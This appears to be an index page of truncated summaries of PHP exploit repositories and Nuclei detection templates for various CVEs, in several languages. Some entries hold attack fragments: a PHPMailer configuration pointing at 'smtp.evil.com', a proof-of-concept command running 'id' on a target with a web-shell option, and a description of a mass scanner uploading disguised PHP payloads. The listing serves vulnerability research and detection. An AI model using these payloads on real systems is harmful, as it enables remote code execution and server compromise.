CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2025-34085-Multi-target

CVE-2025-34085 ماسح RCE متعدد الأهداف ماسح استغلال جماعي لـ CVE-2025-34085 — ثغرة تنفيذ أوامر عن بُعد بدون مصادقة في إضافة WordPress Simple File List. تقوم هذه الأداة برفع حمولة PHP متنكّرة بهيئة صورة، وتعيد تسميتها عبر محرك ملفات ضعيف، ثم تشغّل القشرة shell بأمر مخصص. تدعم الفحص متعدد الخيوط عبر...

Test-7-2-1-PHP-CVE-2018-5711

لا يحتوي هذا المستودع على ملف README...

CVE-2024-4577-RCE

حقن وسائط PHP CGI CVE-2024-4577 RCE 📜 الوصف في إصدارات PHP 8.1. قبل 8.1.29، و8.2. قبل 8.2.20، و8.3. قبل 8.3.8، عند استخدام Apache وPHP-CGI على Windows، إذا كان النظام مضبوطًا لاستخدام صفحات رموز معينة، فقد تستخدم Windows سلوك "Best-Fit" لاستبدال الأحرف في سطر الأوامر المُمرَّر إلى دوال Win32 API...

CVE-2025-49132

CVE-2025-49132 - Pterodactyl Panel RCE non authentifiée / |\ \ / /| | | / | | | | || | / | || / | | \ V / | || / / | |/ / | | | | , /| || \ / / | / || /| //||/ || // ||/ /| Exploit pour Pterodactyl Panel ≤ 1.11.10 - LFI non authentifié vers RCE. La vulnérabilité Le point de terminaison...

CVE-2024-44902

CVE-2024-44902 وصف الثغرة الأمنية تسمح ثغرة أمنية في إلغاء التسلسل deserialization في Thinkphp v6.1.3 إلى v8.0.4 للمهاجمين بتنفيذ تعليمات برمجية عشوائية. الإصدارات المتأثرة Thinkphp v6.1.3 إلى v8.0.4 شرط الاستغلال يجب أن يكون إطار العمل thinkphp مثبتًا عليه إضافة Memcached. إثبات الثغرة بيئة...

CVE-2024-4577-PHP-RCE

إثبات المفهوم PoC لـ PHP RCE CVE-2024-4577: حقن الوسائط في PHP-CGI نظرة عامة يحتوي هذا المستودع على نصوص برمجية للتحقق من ثغرة CVE-2024-4577، وهي مشكلة حقن الوسائط في PHP-CGI. يمكنك استخدام نصوص Bash وGo وPython المقدمة لاختبار قائمة من النطاقات لهذه الثغرة. لقد أصدرت أيضًا ملف YAML لـ Nuclei...

CVE-2022-43117

الوصف المقترح تم اكتشاف أن تطبيق تخزين كلمات المرور من Sourcecodester في PHP/OOP وMySQL الإصدار 1.0 يحتوي على ثغرات متعددة من نوع البرمجة النصية عبر المواقع XSS عبر معاملات الاسم Name واسم المستخدم Username والوصف Description وميزة الموقع Site Feature. معلومات إضافية إثبات المفهوم:...

scodescanner

SCodeScanner SCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod. Website for newreleases, new...

scodescanner

SCodeScanner SCodeScanner اختصار لـ Source Code Scanner، حيث يمكن للمستخدم مسح الكود المصدري للعثور على الثغرات الحرجة. الهدف الرئيسي لهذا الماسح هو العثور على الثغرات داخل الكود المصدري قبل نشر الكود في بيئة الإنتاج. الموقع الإلكتروني للإصدارات الجديدة والإعلانات الجديدة -...

CVE-2025-69212-PoC

CVE-2025-69212 - إثبات المفهوم لحقن أوامر نظام التشغيل في OpenSTAManager الاستخدام تثبيت التبعيات: pip install -r requirements.txt تشغيل أمر واحد وعرض مخرجه: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' -c 'id' بدلاً من ذلك، قم بزرع قشرة ويب PHP دائمة: python3...

ISPConfig - PHP Code Injection

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if adminallowlangedit is enabled. id: CVE-2023-46818 info: name: ISPConfig - PHP Code Injection author: non-things severity: high description: | An issue was discovered...

FOG Project < 1.5.10.34 - Remote Command Execution

FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php. id: CVE-2024-39914 info: name: FOG Project 1.5.10.34 - Remote...

Qualitor <= 8.20 - Remote Code Execution

Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter. id: CVE-2023-47253 info: name: Qualitor = 8.20 - Remote Code Execution author: s4e-io severity: critical description: |...

Online Security Guards Hiring System - Cross-Site Scripting

A vulnerability was found in PHPGurukul Online Security Guards Hiring System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file search-request.php. id: CVE-2023-0527 info: name: Online Security Guards Hiring System - Cross-Site Scripting author:...

Xerte Online Toolkits <= 3.15 - Remote Code Execution

Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication CVE-2026-34413, because the access-control redirect for unauthenticated users does not call exit/die and execution continues server-side. This is...

FlipperCode Custom CSS, JS & PHP <= 2.0.7 - Remote Code Execution

Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval, letting unauthenticated attackers execute arbitrary PHP code on the server. id: CVE-2026-6433 info: name: FlipperCode Custom CSS, JS & PHP = 2.0.7 -...

Dolibarr <=22.0.4 - Local File Inclusion

Dolibarr = 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files. id: CVE-2026-34036 info: name:...

MetInfo CMS <= 8.1 - Remote Code Execution

MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests. id: CVE-2026-29014 info: name: MetInfo CMS = 8....

HuangDou UTCMS V9 - OS Command Injection

A vulnerability, which was classified as critical, has been found in HuangDou UTCMS V9. Affected by this issue is some unknown functionality of the file app/modules/ut-cac/admin/cli.php. The manipulation of the argument o leads to os command injection.The attack may be launched remotely. The...